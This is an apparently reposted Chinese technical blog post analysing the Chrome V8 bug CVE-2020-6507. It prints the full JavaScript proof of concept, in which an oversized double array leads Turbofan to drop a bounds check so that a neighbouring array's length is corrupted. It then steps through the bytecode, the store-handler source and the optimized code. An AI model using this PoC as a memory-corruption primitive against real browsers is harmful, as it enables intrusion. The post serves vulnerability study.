<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    《Chrome V8 Bug》1. CVE-2020-6507 詳細講解

    VSole2022-01-14 16:36:54

    前言

    《Chrome V8 Bug》系列文章的目的是解釋漏洞的產生原因,并向你展示這些漏洞如何影響 V8 的正確性。其他的漏洞文章大多從安全研究的角度分析,講述如何設計與使用 PoC。而本系列文章是從源碼研究的角度來寫的,分析 PoC 在 V8 中的執行細節,講解為什么 PoC 要這樣設計。當然,學習 PoC 的設計與使用,是 V8 安全研究的很好的出發點,所以,對于希望深入學習 V8 源碼和 PoC 原理的人來說,本系列文章也是很有價值的介紹性讀物。

    本系列文章主要講解 https://bugs.chromium.org/p/v8/issues 的內容,每篇文章講解一個 issue。如果你有想學習的 issue 也可以告訴我,我會優先分析講解。

     01 介紹

    本文講解 CVE-2020-6507,Chrome issues 地址:https://bugs.chromium.org/p/chromium/issues/detail?id=1086890

    實驗環境:V8 8.3.110.9,Visual Studio 2019,Win 10。

    02 漏洞產生原因

    漏洞 PoC 代碼如下:

    1.  array = Array(0x40000).fill(1.1);2.  args = Array(0x100 - 1).fill(array);3.  args.push(Array(0x40000 - 4).fill(2.2));4.  giant_array = Array.prototype.concat.apply([], args);5.  giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);6.  length_as_double =7.      new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];8.  function trigger(array) {9.    var x = array.length;10.    x -= 67108861;11.    x = Math.max(x, 0);12.    x *= 6;13.    x -= 5;14.    x = Math.max(x, 0);15.    let corrupting_array = [0.1, 0.1];16.    let corrupted_array = [0.1];17.    corrupting_array[x] = length_as_double;18.    return [corrupting_array, corrupted_array];19.  }20.  for (let i = 0; i < 30000; ++i) {21.    trigger(giant_array);22.  }23.  corrupted_array = trigger(giant_array)[1];24.  console.log('corrupted array length: ' + corrupted_array.length.toString(16));25.  corrupted_array[0x123456];
    

    上述代碼中,第 1-5 行創建數組 giant_rray;創建該數組時使用了 Turque 編寫的 NewFixedDoubleArray() 方法,該方法沒有檢測數組的最大長度,這是產生漏洞的原因。

    V8 規定 FixedDoubleArray::kMaxLength 的值是 67108862,而 giant_rray 的長度是 67108863。

    第 8-14 行 Turbofan 優化 trigger() 時,首先查詢 feedback 得知 trigger 的參數 array 是 DoubleArray 類型,所以 FixedDoubleArray::kMaxLength 可以用于限制參數 array 的最大長度;

    其次第 10 行 x -= 67108861,所以 Turbofan 認為 x 的最大值只能是 1;

    再次第 11 行代碼 max(x,0),所以 Turbofan 認為 x 的最小值只能為 0;

    然后第 12-14 行不改變 x 是 1 或 0 的事實;

    最終,Turbofan 得到結論:x 只能為 0 或 1。基于這個結論,第 17 行的賦值操作不會出現 corrupting_array 越界的情況,故省去賦值前的邊界檢測。

    實際上,x 的最終值是 7,Turbofan 省去賦值前的邊界檢測,這給越界賦值帶來了可乘之機,最終導致 corrupted_array 被污染。

    在解釋執行模式下,x 的最終值也是 7,但因為有邊界檢測,才沒有發生越界操作。

    知識點 (1)Turbofan 優化編譯時會考慮每種數據類型的長度限制,例如 String::kMaxLength。Turbofan 遵守 FixedDoubleArray::kMaxLength ,而 NewFixedDoubleArray() 沒有遵守,所以才有了 CVE-2020-6507。Turbofan 原理請參見 《chrome v8 源碼》系列文章,本文不再贅述。

    03 解釋模式下的 PoC 行為

    下面給出 trigger() 函數的字節碼:

    1.  [generated bytecode for function: trigger (0x03c50824fdd5 <SharedFunctionInfo trigger>)]2.  Parameter count 23.  Register count 74.  Frame size 565.    401 S> 000003C50825035E @    0 : 28 02 00 00       LdaNamedProperty a0, [0], [0]6.           000003C508250362 @    4 : 26 fb             Star r07.    412 S> 000003C508250364 @    6 : 01 41 fd ff ff 03 02 00 00 00 SubSmi.ExtraWide [67108861], [2]8.           000003C50825036E @   16 : 26 fb             Star r09.    430 S> 000003C508250370 @   18 : 13 01 03          LdaGlobal [1], [3]10.           000003C508250373 @   21 : 26 f7             Star r411.    439 E> 000003C508250375 @   23 : 28 f7 02 05       LdaNamedProperty r4, [2], [5]12.           000003C508250379 @   27 : 26 f8             Star r313.           000003C50825037B @   29 : 0b                LdaZero14.           000003C50825037C @   30 : 26 f5             Star r615.    439 E> 000003C50825037E @   32 : 5a f8 f7 fb f5 07 CallProperty2 r3, r4, r0, r6, [7]16.           000003C508250384 @   38 : 26 fb             Star r017.    453 S> 000003C508250386 @   40 : 42 06 09          MulSmi [6], [9]18.           000003C508250389 @   43 : 26 fb             Star r019.    464 S> 000003C50825038B @   45 : 41 05 0a          SubSmi [5], [10]20.           000003C50825038E @   48 : 26 fb             Star r021.    475 S> 000003C508250390 @   50 : 13 01 03          LdaGlobal [1], [3]22.           000003C508250393 @   53 : 26 f7             Star r423.    484 E> 000003C508250395 @   55 : 28 f7 02 05       LdaNamedProperty r4, [2], [5]24.           000003C508250399 @   59 : 26 f8             Star r325.           000003C50825039B @   61 : 0b                LdaZero26.           000003C50825039C @   62 : 26 f5             Star r627.    484 E> 000003C50825039E @   64 : 5a f8 f7 fb f5 0b CallProperty2 r3, r4, r0, r6, [11]28.           000003C5082503A4 @   70 : 26 fb             Star r029.    523 S> 000003C5082503A6 @   72 : 7a 03 0d 25       CreateArrayLiteral [3], [13], #3730.           000003C5082503AA @   76 : 26 fa             Star r131.    560 S> 000003C5082503AC @   78 : 7a 04 0e 25       CreateArrayLiteral [4], [14], #3732.           000003C5082503B0 @   82 : 26 f9             Star r233.    594 S> 000003C5082503B2 @   84 : 13 05 0f          LdaGlobal [5], [15]34.    592 E> 000003C5082503B5 @   87 : 30 fa fb 11       StaKeyedProperty r1, r0, [17]35.    615 S> 000003C5082503B9 @   91 : 7a 06 13 25       CreateArrayLiteral [6], [19], #3736.           000003C5082503BD @   95 : 26 f7             Star r437.           000003C5082503BF @   97 : 0b                LdaZero38.           000003C5082503C0 @   98 : 26 f8             Star r339.           000003C5082503C2 @  100 : 25 fa             Ldar r140.    623 E> 000003C5082503C4 @  102 : 31 f7 f8 14       StaInArrayLiteral r4, r3, [20]41.           000003C5082503C8 @  106 : 0c 01             LdaSmi [1]42.           000003C5082503CA @  108 : 26 f8             Star r343.           000003C5082503CC @  110 : 25 f9             Ldar r244.    641 E> 000003C5082503CE @  112 : 31 f7 f8 14       StaInArrayLiteral r4, r3, [20]45.           000003C5082503D2 @  116 : 25 f7             Ldar r446.    658 S> 000003C5082503D4 @  118 : aa                Return47.  Constant pool (size = 7)48.  000003C508250319: [FixedArray] in OldSpace49.   - map: 0x03c5080404b1 <Map>50.   - length: 751.             0: 0x03c5080425a5 <String[#6]: length>52.             1: 0x03c5081c6e59 <String[#4]: Math>53.             2: 0x03c5081c6ff5 <String[#3]: max>54.             3: 0x03c5082502cd <ArrayBoilerplateDescription PACKED_DOUBLE_ELEMENTS, 0x03c5082502b5 <FixedDoubleArray[2]>>55.             4: 0x03c5082502e9 <ArrayBoilerplateDescription PACKED_DOUBLE_ELEMENTS, 0x03c5082502d9 <FixedDoubleArray[1]>>56.             5: 0x03c50824fcad <String[#16]: length_as_double>57.             6: 0x03c508250305 <ArrayBoilerplateDescription PACKED_SMI_ELEMENTS, 0x03c5082502f5 <FixedArray[2]>>58.  Handler Table (size = 0)59.  Source Position Table (size = 42)60.  0x03c5082503d9 <ByteArray[42]>
    

    上述代碼中,第 1-28 行計算 x 的值并存儲到寄存器 r0 中;

    第 29-30 行創建數組 corrupting_array 并存儲到寄存器 r1 中;

    第 31-32 行創建數組 corrupted_array 并存儲到寄存器 r2 中;

    第 33 行讀取 length_as_double 的值并存儲到累加寄存器中;

    第 34 行 StaKeyedProperty 完成 corrupting_array[7] = length_as_double 的賦值操作。

    通過 %DebugPrint() 捕獲解釋執行和 Turbofan 模式下 corrupting_array 的結果如下:

     - elements: 0x016a08400285 28]> {         0-1: 0.1         2-6:            7: 1.38553e-134  // <-----<-----<------解釋執行時,corrupting_array[x]的值正常。        8-27:  }//分隔線.........................................elements: 0x016a08cd4481 2]> {         0-1: 0.1      //<-------<-------<--------Turbofan模式下,corrupting_array只有兩個值。 }
    

    由上面結果可以看出第 34 行 StaKeyedProperty 在解釋執行和 Turbofan 中存在不同,StaKeyedProperty 的功能由 Builtins::kKeyedStoreIC 實現,KeyedStoreIC 源碼如下:

    1.  void AccessorAssembler::KeyedStoreIC(const StoreICParameters* p) {2.  Label miss(this, Label::kDeferred);3.  {//省略...............4.    BIND(&try_polymorphic);5.     TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);6.     {/*省略...............*/}7.      BIND(&try_megamorphic);8.      {/*省略...............*/}9.      BIND(&no_feedback);10.      {TailCallBuiltin(Builtins::kKeyedStoreIC_Megamorphic, p->context(),11.                        p->receiver(), p->name(), p->value(), p->slot());}12.      BIND(&try_polymorphic_name);13.      {/*省略...............*/}  }14.    BIND(&miss);15.    {TailCallRuntime(Runtime::kKeyedStoreIC_Miss, p->context(), p->value(),16.                      p->slot(), p->vector(), p->receiver(), p->name());17.    }}
    

    上述代碼中,第 10 行 Builtins::kKeyedStoreIC_Megamorphic 和 第 15 行 Runtime::kKeyedStoreIC_Miss 是兩種不同的實現方式,但他們的功能相同,都可以用于完成 corrupting_array[7] = length_as_double 操作。

    Builtins::kKeyedStoreIC_Megamorphic 的核心功能由 KeyedStoreGenericAssembler::EmitGenericElementStore() 實現,其源碼如下:

    1.  void KeyedStoreGenericAssembler::EmitGenericElementStore(2.      TNode<JSObject> receiver, TNode<Map> receiver_map,3.      TNode<Uint16T> instance_type, TNode<IntPtrT> index, TNode<Object> value,4.      TNode<Context> context, Label* slow) {5.  //省略.............6.    GotoIf(IsJSArrayInstanceType(instance_type), &if_array);7.    {8.      TNode<IntPtrT> capacity = SmiUntag(LoadFixedArrayBaseLength(elements));9.      Print(LoadFixedArrayBaseLength(elements));10.      Branch(UintPtrLessThan(index, capacity), &if_in_bounds, &if_grow); }11.    BIND(&if_array);12.    {13.      TNode<IntPtrT> length = SmiUntag(LoadFastJSArrayLength(CAST(receiver)));14.      GotoIf(UintPtrLessThan(index, length), &if_in_bounds);15.      TNode<IntPtrT> capacity = SmiUntag(LoadFixedArrayBaseLength(elements));16.      GotoIf(UintPtrGreaterThanOrEqual(index, capacity), &if_grow);17.      Branch(WordEqual(index, length), &if_increment_length_by_one,18.             &if_bump_length_with_gap);  }19.    BIND(&if_in_bounds);20.    {/*省略....*/}21.    BIND(&if_increment_length_by_one);22.    {/*省略....*/}23.    BIND(&if_bump_length_with_gap);24.    {/*省略....*/}25.    BIND(&if_grow);26.    {/*省略....*/}27.    BIND(&if_nonfast);28.    {/*省略....*/}29.    BIND(&if_dictionary);30.    {/*省略....*/}31.    BIND(&if_typed_array);32.    {/*省略....*/}33.  }
    

    上述代碼中,receiver 代表 PoC 中的 corrupting_array 數組;index 代表 x,值是 7;value 代表 length_as_double。我們在代碼中可以看對數組容量進了檢測,如第 8-9 行和 13-14 行。corrupting_array 的容量是 2,給 corrupting_array[7] 賦值之前會對 corrupting_array 進行擴容,這說明了為什么解釋執行時 corrupting_array[x] 的值是正常的。

    Runtime::kKeyedStoreIC_Miss 方法請自行查閱。

    結論: 解釋執行期間存在數組容量檢測,所以沒發生越界操作。

    04  Turbofan 優化后的 PoC 行為

    Turbofan 優化后時去除了容量檢測,沒有擴容而直接賦值導致了內存越界。優化后的代碼如下:

    --- Optimized code ---optimization_id = 0source_position = 374kind = OPTIMIZED_FUNCTIONname = triggerstack_slots = 6compiler = turbofanaddress = 000002D000092BE1
    Instructions (size = 848)000002D000092C20     0  488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9]000002D000092C27     7  483bd9         REX.W cmpq rbx,rcx000002D000092C2A     a  7418           jz 000002D000092C44  <+0x24>000002D000092C2C     c  48ba6800000000000000 REX.W movq rdx,0000000000000068000002D000092C36    16  49ba808870fafe7f0000 REX.W movq r10,00007FFEFA708880  (Abort)    ;; off heap target000002D000092C40    20  41ffd2         call r10000002D000092C43    23  cc             int3l000002D000092C44    24  8b59d0         movl rbx,[rcx-0x30]000002D000092C47    27  4903dd         REX.W addq rbx,r13000002D000092C4A    2a  f6430701       testb [rbx+0x7],0x1000002D000092C4E    2e  740d           jz 000002D000092C5D  <+0x3d>000002D000092C50    30  49baa0ef65fafe7f0000 REX.W movq r10,00007FFEFA65EFA0  (CompileLazyDeoptimizedCode)    ;; off heap target000002D000092C5A    3a  41ffe2         jmp r10//省略....................
    

    上述代碼中省去了數組的邊界檢測,通過 —print-code 和 —print-opt-code 選項可以在 d8 中輸出上述代碼,請自行分析。

    05 X 的計算方法

    trigger() 中的 corrupting_array 和 corrupted_array 在內存中是連續的,corrupting_array + 7 正好是 corrupted_array的 element 成員的地址,所以對 corrupting_array[7] 賦值會影響 corrupted_array的 element 成員。x 的計算方法如下:

    corrupting_array 和 corrupted_array 都是 JSArray 數據類型,JSArray 繼承自 JSObject,JSObject 繼承自 JSReceiver,JSReceiver 繼承自 HeapObject。通過查閱 JSArray、JSObject、JSReceiver 以及 HeapObject 的類定義,再配合 TORQUE_GENERATED_JS_ARRAY_FIELDS、TorqueGeneratedJSObject、TORQUE_GENERATED_JS_RECEIVER_FIELDS 三個宏模板,可以計算出任何一個想要的地址。

    好了,今天到這里,下次見。

    個人能力有限,有不足與紕漏,歡迎批評指正

    bind
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Atlassian 和互聯網系統聯盟(ISC)披露了影響其產品的幾個安全漏洞,這些漏洞可能被用來實現拒絕服務(DoS)和遠程代碼執行。
    2022年5月18日,InternetSystems Consortium (ISC) 發布BIND 安全公告,修復了BIND中的一個邏輯錯誤漏洞。漏洞編號:CVE-2022-1183,漏洞威脅等級:高危,漏洞評分:7.5。
    一款功能強大的反向Shell&amp;BindShell處理工具
    有約束力的公司規則(Binding Corporate Rules,“BCR”)是歐盟GDPR規定的數據跨境傳輸機制之一,特別適用于跨國公司內部的數據跨境傳輸。為了指引BCR的制定、申請與審批,EDPB第29條工作組分別針對數據控制者和數據處理者發布了工作文件,即BCR-C和BCR-P。今天和大家分享的是BCR-P的中譯文。首發于公號君參與運營的另一公號:【數據信任與治理】 。強烈推薦大家訂閱該公
    之前研究人員經常需要分析惡意軟件樣本、惡意軟件家族之間的關聯關系。經典的方式是利用 BinDiff 進行二進制相似比對,如下所示。
    SMB Beacon 與命名管道在 Windows 中,無管理員權限的情況下,即無法添加白名單。定義特定版本的協議的消息數據包集稱為方言。進行身份驗證后,用戶可以訪問服務器上不受共享級別安全性保護的所有共享。
    Searx介紹Searx,一個基于Python的完全開源免費搜索引擎平臺,為你提供來自Google、Bing、Yahoo等70多種各大視頻、圖片、搜索、磁力等網站結果展示,并對搜索結果進行優化,同時不會存儲你的任何搜索信息,搭建也很方便。你完全可以用它來搭建Google鏡像等。Searx安裝#拉取源碼。port:為監聽端口,默認8888,可自行修改。bind_address:為監控地址,默認為127.0.0.1,如果需要讓ip地址能被外網訪問,就修改為0.0.0.0,這里建議默認,然后再用域名反代即可。至此,你可以去http://localhost:$PORT使用searx了。
    Goby服務器端配置
    2023-03-17 09:52:49
    因為項目需要,應對客戶的云上資產進行端口掃描和漏洞掃描,這時候想到了GOBY,因為筆記本實在是運轉不開,占用網絡,所以有了上云的想法,注意服務器IP已經備案,請各位在授權范圍內操作。
    之前我說Codemeter的反調試很猛,我收回。Scylla Hide調至VMP檔,運行后將爆出的幾個錯誤全部Pass to the Application && Do not suspend or log即可。根據前面的分析,我們知道了Codemeter私有協議中最終要的兩個函數就是encrypt_telegram和decrypt_telegram。服務器接受到客戶端的請求那就必定調用decrypt_telegram解密,向客戶端回復數據必定通過encrypt_telegram解密。因此我們第一步就需要確定這兩個函數。先對decrypt_telegram下斷,跑起來看看誰調用她。查看decrypt_package和encrypt_package的交叉引用,有一個函數同時引用這兩個函數。
    Plex中一項漏洞存在三年之久,CISA敦促多個組織進行修補。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类